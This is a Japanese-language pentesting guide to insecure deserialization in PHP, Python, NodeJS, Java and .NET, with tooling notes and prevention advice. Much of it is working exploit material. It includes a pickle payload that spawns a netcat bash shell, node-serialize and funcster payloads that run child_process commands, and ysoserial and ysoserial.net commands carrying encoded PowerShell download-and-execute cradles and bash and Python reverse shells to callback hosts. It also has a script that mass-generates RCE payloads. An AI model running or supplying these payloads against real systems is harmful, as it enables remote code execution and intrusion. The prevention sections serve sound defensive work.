55 KiB
Raw Blame History

デシリアライズ

{{#include ../../banners/hacktricks-training.md}}

基本情報

シリアライズは、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。

デシリアライズは、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。

デシリアライズは危険である可能性があります。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こさせたりすることを許す可能性があるからです。

PHP

PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます

  • __sleep: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
  • __wakeup: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
  • __unserialize: オブジェクトがデシリアライズされるときに、__wakeupの代わりに呼び出されるメソッドです。__wakeupに比べてデシリアライズプロセスに対するより多くの制御を提供します。
  • __destruct: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
  • __toString: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

結果を見ると、オブジェクトがデシリアライズされるときに関数 __wakeup__destruct が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると __toString 関数が呼び出されるとされていますが、どうやらそれは もう起こっていない ようです。

Warning

クラスに実装されている場合、メソッド __unserialize(array $data)__wakeup() の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。

class MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // デシリアライズ時に必要なタスクを実行します。
    }
}

説明された PHPの例をこちらで読むことができます: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf またはこちら https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます:

{{#ref}} php-deserialization-+-autoload-classes.md {{#endref}}

参照値のシリアライズ

何らかの理由で、別のシリアライズされた値への参照として値をシリアライズしたい場合は、次のようにできます:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、外部 PHP 拡張のコードを悪用できるかもしれません。
ですので、可能であればサーバーの phpinfo() を確認し、インターネットで検索(さらには PHPGGCgadgets も)して、悪用できる可能性のあるガジェットを探してください。

phar:// メタデータデシリアライズ

ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()** のような関数を使用している場合、phar プロトコルを使用してファイルを読み取る際に発生する デシリアライズ を悪用しようとすることができます。
詳細については、以下の投稿をお読みください:

{{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}}

Python

Pickle

オブジェクトがアンピクルされると、関数 ___reduce___ が実行されます。
悪用されると、サーバーはエラーを返す可能性があります。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

以下のバイパステクニックを確認する前に、print(base64.b64encode(pickle.dumps(P(),2)))を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。

pickle jailsからの脱出に関する詳細情報は、以下を確認してください:

{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}}

Yaml & jsonpickle

以下のページでは、yamlのPythonライブラリにおける安全でないデシリアライズの悪用に関する技術を紹介し、Pickle、PyYAML、jsonpickle、ruamel.yamlのためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります

{{#ref}} python-yaml-deserialization.md {{#endref}}

クラス汚染 (Pythonプロトタイプ汚染)

{{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}}

NodeJS

JSマジック関数

JSは、オブジェクトを作成するためだけに実行される**"マジック"関数を持っていませんが、toStringvalueOftoJSONのように、直接呼び出さなくても頻繁に使用される関数があります。
デシリアライズを悪用する場合、これらの関数を
妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。

関数を直接呼び出さずに**"マジック"な方法で呼び出すもう一つの方法は、非同期関数(プロミス)によって返されるオブジェクトを妥協することです。なぜなら、その返されるオブジェクト"then"という関数型のプロパティを持つ別のプロミス変換すると、別のプロミスによって返されるだけで実行される**からです。詳細については このリンク を参照してください。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype の汚染

この技術について学びたい場合は、次のチュートリアルを参照してください:

{{#ref}} nodejs-proto-prototype-pollution/ {{#endref}}

node-serialize

このライブラリは関数をシリアライズすることを可能にします。例:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

シリアライズされたオブジェクトは次のようになります:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

関数がシリアライズされると、シリアライズされたオブジェクトに _$$ND_FUNC$$_ フラグが追加されることが例で示されています。

ファイル node-serialize/lib/serialize.js 内で、同じフラグとそのコードの使用方法を見つけることができます。

最後のコードのチャンクで見られるように、フラグが見つかった場合eval が関数をデシリアライズするために使用されるので、基本的に ユーザー入力が eval 関数内で使用されています

しかし、関数をシリアライズするだけでは、それを実行することはありません。なぜなら、コードの一部が**y.rceを呼び出す必要があるからで、これは非常にありそうにありません**。
それでも、シリアライズされたオブジェクトを修正していくつかの括弧を追加することで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。
次のコードのチャンクで、最後の括弧と、unserialize 関数がどのように自動的にコードを実行するかに注意してください:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

以前に示したように、このライブラリは_$$ND_FUNC$$_の後のコードを取得し、実行します。したがって、コードを自動実行するためには、関数作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行することができます:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

ここで詳細情報を見つけることができます。この脆弱性を悪用する方法について。

funcster

funcsterの注目すべき点は、標準の組み込みオブジェクトへのアクセスが不可能であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、console.log()require(something)のようなコマンドを使用すると、"ReferenceError: console is not defined"のような例外が発生します。

この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

詳細については、このソースを読む。**

serialize-javascript

serialize-javascript パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、eval の直接使用が推奨されています:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

この関数がオブジェクトをデシリアライズするために使用される場合、あなたは簡単にそれを悪用できます:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

詳細についてはこのソースを参照してください more information read this source.

Cryoライブラリ

以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:

Java - HTTP

Javaでは、デシリアライズコールバックはデシリアライズプロセス中に実行されます。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。

フィンガープリント

ホワイトボックス

コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください:

  • Serializableインターフェースを実装しているクラス。
  • java.io.ObjectInputStreamreadObjectreadUnshare関数の使用。

特に注意を払うべき点:

  • 外部ユーザーによって定義されたパラメータで使用されるXMLDecoder
  • XStreamfromXMLメソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。
  • readObjectメソッドと組み合わされたObjectInputStream
  • readObjectreadObjectNodDatareadResolve、またはreadExternalなどのメソッドの実装。
  • ObjectInputStream.readUnshared
  • Serializableの一般的な使用。

ブラックボックス

ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(ObjectInputStreamから発生):

  • 16進パターンAC ED 00 05
  • Base64パターンrO0
  • Content-typeapplication/x-java-serialized-objectに設定されたHTTPレスポンスヘッダー。
  • 以前の圧縮を示す16進パターン1F 8B 08 00
  • 以前の圧縮を示すBase64パターンH4sIA
  • .faces拡張子を持つWebファイルとfaces.ViewStateパラメータ。これらのパターンをWebアプリケーションで発見した場合、Java JSF ViewState Deserializationに関する投稿に詳述されているように調査を促すべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

脆弱性の確認

Javaのデシリアライズ攻撃がどのように機能するかを学びたい場合は、Basic Java DeserializationJava DNS Deserialization、およびCommonsCollection1 Payloadを確認してください。

ホワイトボックステスト

既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

あなたは、脆弱性が知られているすべてのライブラリを確認しYsoserialが提供できるエクスプロイトを探すことができます。または、Java-Deserialization-Cheat-Sheetに示されているライブラリを確認することもできます。
さらに、gadgetinspectorを使用して、エクスプロイト可能なガジェットチェーンを検索することもできます。
gadgetinspectorを実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください

ブラックボックステスト

Burp拡張機能gadgetprobeを使用すると、どのライブラリが利用可能か(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするためのペイロードを選択しやすくなるでしょう。
GadgetProbeについて詳しく学ぶにはこちらをお読みください
GadgetProbeは**ObjectInputStreamのデシリアライズ**に焦点を当てています。

Burp拡張機能Java Deserialization Scannerを使用すると、ysoserialでエクスプロイト可能な脆弱なライブラリを特定し、それらをエクスプロイトできます。
Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。
Java Deserialization Scannerは**ObjectInputStream**のデシリアライズに焦点を当てています。

Freddyを使用して、Burp内のデシリアライズ脆弱性を検出することもできます。このプラグインは、ObjectInputStreamに関連する脆弱性だけでなく、JsonYmlデシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。
Freddyについての詳細情報はこちらで確認できます。

シリアライズテスト

サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**SerializationDumper**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷できます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスすることが容易になります。

エクスプロイト

ysoserial

Javaデシリアライズをエクスプロイトするための主なツールはysoserialです(ここからダウンロード)。また、複雑なコマンド(パイプなど)を使用できるysoseral-modifiedの使用も検討できます。
このツールは**ObjectInputStreamのエクスプロイトに焦点を当てていることに注意してください。
私は
RCEペイロードの前に「URLDNS」ペイロードを使用して、注入が可能かどうかをテストすることをお勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

java.lang.Runtime.exec() のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような 特殊文字 を使用することはできません。また、コマンドを実行するために "$()" を使用したり、スペース で区切られた 引数 をコマンドに渡すこともできません(echo -n "hello world" は可能ですが、python2 -c 'print "Hello world"' はできません)。ペイロードを正しくエンコードするために、このウェブページ を使用することができます。

次のスクリプトを使用して、Windows と Linux の すべての可能なコード実行 ペイロードを作成し、脆弱なウェブページでテストしてください:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection along with ysoserial to create more exploits. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec は、JavaのさまざまなJsonおよびYmlシリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。
プロジェクトをコンパイルするために、pom.xmlにこの依存関係追加する必要がありました:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Mavenをインストールし、プロジェクトをコンパイルします:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

このJava JSONライブラリについての詳細は、こちらを参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Javaはさまざまな目的で多くのシリアル化を使用します:

  • HTTPリクエスト: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
  • RMI (Remote Method Invocation): Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
  • RMI over HTTP: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
  • JMX (Java Management Extensions): JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
  • カスタムプロトコル: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。

Prevention

Transient objects

Serializableを実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトをtransientとして実装できます。例えば:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializableを実装する必要があるクラスのシリアライズを避ける

特定の**オブジェクトがクラス階層のためにSerializable**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローするfinalreadObject()メソッドを定義することで、これらのオブジェクトがデシリアライズ不可能であることを確認してください。

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Javaにおけるデシリアライズセキュリティの強化

java.io.ObjectInputStreamのカスタマイズは、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています:

  • デシリアライズコードがあなたの管理下にある。
  • デシリアライズのために期待されるクラスが知られている。

**resolveClass()**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズをBicycleクラスのみに制限しています:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

セキュリティ強化のためのJavaエージェントの使用は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に有害なクラスのブラックリスト化に適用され、JVMパラメータを使用します

-javaagent:name-of-agent.jar

動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。

rO0 by Contrast Securityの例を確認してください。

シリアライゼーションフィルターの実装: Java 9では、**ObjectInputFilter**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。

シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

外部ライブラリを活用したセキュリティの強化: NotSoSerialjdeserialize、およびKryoなどのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。

  • NotSoSerialは、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
  • jdeserializeは、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
  • Kryoは、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。

参考文献

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net には、各エクスプロイトの動作をよりよく理解するのに役立つ 非常に興味深いパラメータ があります: --test
このパラメータを指定すると、 ysoserial.netローカルでエクスプロイトを試みます ので、ペイロードが正しく機能するかテストできます。
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

これは、エクスプロイトをテストするためにコードが serializersHelper.JsonNet_deserialize を呼び出すことを意味します。

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

前のコードは作成されたエクスプロイトに対して脆弱です。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。
そのため、--testパラメータは、ysoserial.netが作成できるデシリアライズエクスプロイトに対してどのコードのチャンクが脆弱であるかを理解するのに役立ちます。

ViewState

.Netの__ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください 任意のコードを実行するために。 もしあなたが被害者のマシンで使用されている秘密をすでに知っているなら、コードを実行する方法を知るためにこの投稿を読んでください。**

Prevention

.Netにおけるデシリアライズに関連するリスクを軽減するために

  • データストリームがそのオブジェクトタイプを定義することを許可しない。 可能な場合はDataContractSerializerまたはXmlSerializerを利用してください。
  • JSON.Netの場合、TypeNameHandlingNoneに設定する: %%%TypeNameHandling = TypeNameHandling.None%%%
  • JavaScriptSerializerJavaScriptTypeResolverと共に使用しない。
  • デシリアライズ可能なタイプを制限し、System.IO.FileInfoのような.Netタイプに内在するリスクを理解する。 これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。
  • リスクのあるプロパティを持つタイプに注意する。 例えば、System.ComponentModel.DataAnnotations.ValidationExceptionValueプロパティは悪用される可能性があります。
  • 攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御する。 これにより、DataContractSerializerXmlSerializerでさえ脆弱になります。
  • BinaryFormatterJSON.NetのためにカスタムSerializationBinderを使用してホワイトリスト制御を実装する。
  • .Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにする。
  • インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、System.Windows.Data.ObjectDataProviderのような既知のガジェットを信頼できないデータソースにさらさないようにする。

References

Ruby

